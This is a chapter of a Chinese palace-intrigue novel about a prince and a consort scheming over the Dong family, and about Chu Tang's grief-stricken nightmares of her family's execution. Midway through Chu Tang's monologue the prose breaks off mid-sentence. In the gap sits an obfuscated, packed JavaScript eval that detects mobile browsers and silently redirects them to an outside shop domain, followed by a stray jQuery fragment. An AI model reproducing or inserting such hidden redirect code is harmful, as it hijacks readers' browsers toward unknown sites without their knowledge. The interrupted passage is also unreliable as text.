殿里又只剩他们俩,辛贵妃起身在金盆中洗手,疲惫道。
“怎么样了?”
六皇子从怀中掏出一本册子,翻开一页放在上位的案几上。
“娘娘知不知道容泉逸。”
辛贵妃坐回上位,拿起册本,看到的正是容泉逸的详细资料,看完后喃喃道。
“容家四房的儿子?”
辛贵妃在脑子里努力回忆容家的所有信息,还是疑惑道。
“容家怎么还让自家子侄进了宫做官。还是这么个微末官。”
她抬头看向六皇子,问道:“你能确定,做这事的人就是他?”
六皇子略一思索,回道:“并不能。”
辛贵妃疑惑却没有追问,他继续说。
“我看过其他人的资料,剩下的三个验尸人都是自小就入宫,穷苦出身,家事简单,地位微末,”
“只有容泉逸,世家出身,五年前明明考中宅试一阶,却没在宫外任职,无声无息地进来了内宫净身做宦官,很是蹊跷。”
“父王一向最忌讳内三宫、外五门三司结党作势,所以宫人都是从民间选拔,”
“他是世家出身,自然跟前朝有千丝万缕的关系,能进得来后宫,还不知道经没经父王的眼,总之十分有嫌疑。”
“太医那边我也大致了解过,虽说是各家太医总有利益牵扯,但尸首查验以及看顾都是银刑廊的差事,来来去去都要经理法官的眼,反而不是容易做成的。”
“最重要的是,”
六皇子盯着辛贵妃,压低了声音道:“容泉逸就算不是最有嫌疑的人,却也是最适合有嫌疑的人。”
辛贵妃看着他,仔细地品味他话里的意思。
“什么意思?”
六皇子反问她:“如果真的拿到了有人从中作梗的证据,能证明董氏确实并非自戕,娘娘打算怎么做?”
“自然是……”辛贵妃话说一半止住了口,看着六皇子认真的神情,思索片刻,并未回答。
六皇子继续道:“想要救董家,总需要一个人先出头,替董家张嘴说话,但娘娘就真的放心,是由辛家来张这个嘴,出这个头吗?”
辛贵妃目光流转,开始明白六皇子想表达的意思。
“况且,王上最厌恶后宫干政,听说董氏死的那日父王本来在娘娘宫里休息,得了消息特地不叫娘娘去现场,怕有所冲撞。”六皇子看向她的孕肚:“如今娘娘即将临产,也实在不应在这事里搅和太多。”
辛贵妃听到这里偏过头去,表现出略微的复杂神态,转瞬又恢复正常。
“若是董家出事,我辛家作为亲家虽然要尽力帮忙,但终归还是要避嫌。要说最着急的,还得是裴家,还有林家,自然是由他们一马当先最为合适。可……”
辛贵妃斟酌片刻,是在询问,又像是在试探。
“他们两家又怎么会当这个出头鸟呢?”
六皇子笑了,看着册子上容泉逸的资料道:“没有眉目自然不敢,若是有了苗头,那两家可就是争先抢后了。该问到底叫哪家出这个头才是。”
“既然能一齐出头,协两家之力岂不更好?”
“一家是独功,自当竭尽全力。两家要么是争功,要么是推责,反而耽误事。”
辛贵妃了然,不由自主笑了出来,转而审视起六皇子,继续问道。
“那该叫哪家去争这个功呢?”
“再往下,想来娘娘和辛大人权衡下自有定夺,我不便再多事了。”
六皇子言辞诚恳,神色认真地看着辛贵妃。
“到时候若事成,辛家也是首当其冲,卖董、裴两家恩情。若不成,出了面的裴家自己担当,辛家也不受牵连。”
辛贵妃看着六皇子,越看神色越复杂,终究也没再多说什么。
回去的路上,六皇子脑子里不断思忖。
‘瞧辛氏这反应,大概对前朝事情了解并不多,对王上的了解也并不透彻。’
‘也难免,十五岁便入宫了,到如今也不过二十三,比我虚长个三岁,后宫这么多年,能学到的无非钩心斗角。’
‘倒是个谨慎人,却并非有大谋略的人,除非,她是在给我装糊涂。’
‘接下来,只需要等着便是。’
*
又是一个半夜被噩梦惊醒的时分,楚棠惊坐而起,大汗淋漓,摸着自己的脖颈,眼泪不自控地淌下,如泄了闸般的止也止不住。
索性便也不再压抑自己。
她埋头抱着自己啜泣,半晌,房门开了,一个人来到她身边,她知道那是楚松。
她抬头看着楚松,满脸湿泪。
哑着喉咙道出一句:“兄长。”
楚松的心瞬间揪到嗓子眼,酸楚不已,眼里尽是心疼,却只能直直站在一侧。
“兄长,我真的好怕,棠儿真的好怕。”
楚棠倒在楚松身上,环住楚松的腰,身体因哭泣而颤动,哭得越加大声。
“为什么你不相信我?为什么没人相信我?”
楚松抱住楚棠,一手轻轻地抚在她的背上,另一只手轻轻摸楚棠的头。后槽牙几乎要拧碎,却还是忍不住也落了泪。
这是他从小宠爱到大的妹妹,他从没让妹妹受过半点委屈,但面对她自己伤害自己的时候,自己这个兄长却没有一丁点办法再去保护她。
“兄长,爹娘不相信我,姐姐不相信我,你为什么也不相信我?”
楚棠抬起头看着楚松,神情悲痛。
“那还有谁能信我呢?”
楚松一滴泪正落在楚棠眼中,又从楚棠的眼角滑落。
早有人去报了楚将军夫妇,这时候两人已经来了,掌着灯进了楚棠的卧房,原本一片漆黑的卧房瞬间亮堂起来。
楚夫人先赶上来坐到床沿,看着满脸泪痕,抓着楚松衣袖不放的楚棠,和一向坚毅此时却也红着眼的楚松,心也一瞬间跟着揪了起来。
“怎么了棠儿?又做噩梦了吗?”
楚棠转头呆望着楚夫人,眼中噙满了泪,看到的母亲也是模糊的。
“娘。”
楚棠扑在楚夫人的怀里,登时泣不成声。
“娘!”
楚夫人也瞬间红着眼,泪涌了出来。
“没事,娘在这里。娘陪着你。”
楚棠一边号哭一边质问,像是在问他们,又像是在自问。
“娘,为什么这个世上,没人明白我。”
楚棠抱着楚夫人,完全失去自控。
“没人站在我身侧,只有我自己。”
“我真的很怕,每一分每一秒我都好怕。”
“梦里我总以为我又回去了,梦醒,我又怕醒了才是梦。”
“我不敢让自己放松一丝一毫,我怕我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777873|209553||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只要松懈下来,这美梦就到头了,一醒来,我就又要回到那个暗室,回到你们俱因我而死的时候。”
“头颈分离真的好疼,可却不及失去你们的万分之一,我是想死也不敢死,想死也死不成!”
“我多想有人能帮我一把。谁来帮帮我啊?”
楚棠瘫倒在楚夫人的怀里,痛哭到手脚发麻,呼吸不畅。
“谁来帮帮我啊?”
“我好累,我真的好累。也真的好怕。”
“我没想伤害任何人,我不知道我怎么了。”
“那个时候我像是不受自己控制了,可我真的不想伤害任何人。我没有疯。娘,我没有疯。”
“我好累啊,娘,你明白吗?”
“谁能明白啊?”
“求求谁能明白我啊?”
她实在,压抑得太久了。
又哭过一阵,最终昏睡在母亲的怀里,却是连在睡梦中还在抽啜。
一家人都被惹得伤心难过,楚松无法再看着楚棠这样的形态,率先独自出了卧房,独坐在廊下,掩面心伤。
楚夫人和楚将军一起把楚棠放平在床上,楚将军用粗糙的手掌将楚棠脸上的泪痕抹去,眼底也早已红了。
楚夫人给楚棠盖好被子。
“我今天陪她睡,你回屋去休息吧。”
楚将军轻轻将楚夫人揽在怀里,沉声道。
“都会好起来的。”
这一夜楚棠睡得很沉。
楚棠从床上坐起来的时候,外面的春风吹到堂内,十分舒畅。
那是一个明媚的好日子,楚棠坐在堂里收拾几个大箱,那是父母给自己准备的嫁妆,里面有很多母亲当年的嫁妆和母亲珍视的旧物。
楚棠正翻箱子,看到一物,从箱底掏了出来,那是一个金线穿红玛瑙编的珠络面帘,在阳光下闪着粼粼金光,十分美丽。
楚棠把它戴在脸上,透过铜镜正欣赏的时候,门吱呀开了。
楚棠转过身,看到自己的母亲站在门口。
楚棠欢笑着跑到母亲跟前,向母亲展示自己脸上的面帘,反射的光也斑驳地映照在母亲的脸上。
“母亲,你瞧,这多好看。”
忽然母亲的脖颈喷出血,溅满楚棠的脸,和她脸上的面帘。
血顺着珠串,滚滚滴落,滴在地上的半截没头尸上,那具没头尸穿的是母亲的衣服。
楚棠本能地后撤了两步。
母亲的头从空中跌落,在地上滚了好几圈,门口站着的,又是孟呈岘。
楚棠泪涌了出来,她记得母亲前日刚对自己说过。
“娘在这里,娘陪着你。”
她崩溃,却死死捂住自己的嘴,不敢号哭出声。捂着嘴倒在地上,将头埋进地面。一声不敢吭。
剜心之痛刺激楚棠猛然睁眼醒来,天已大亮。
卧房里静悄悄。
她眼角残余着在梦中刚落下的泪,却趁着无人注意,悄然将泪痕抹干净。
然后坐起身,装作迷瞪的样子,大大地打了一个哈欠,舒懒道。
“颜儿,备水。”
颜儿掀开帷帐,打量楚棠。
楚棠如睡了一个好觉一般,惬意地撑坐在床边,等人来伺候。
瞟到虚掩的门漏进来的方寸阳光,楚棠会心笑道。
“今天日头不错,不如去放风筝吧。”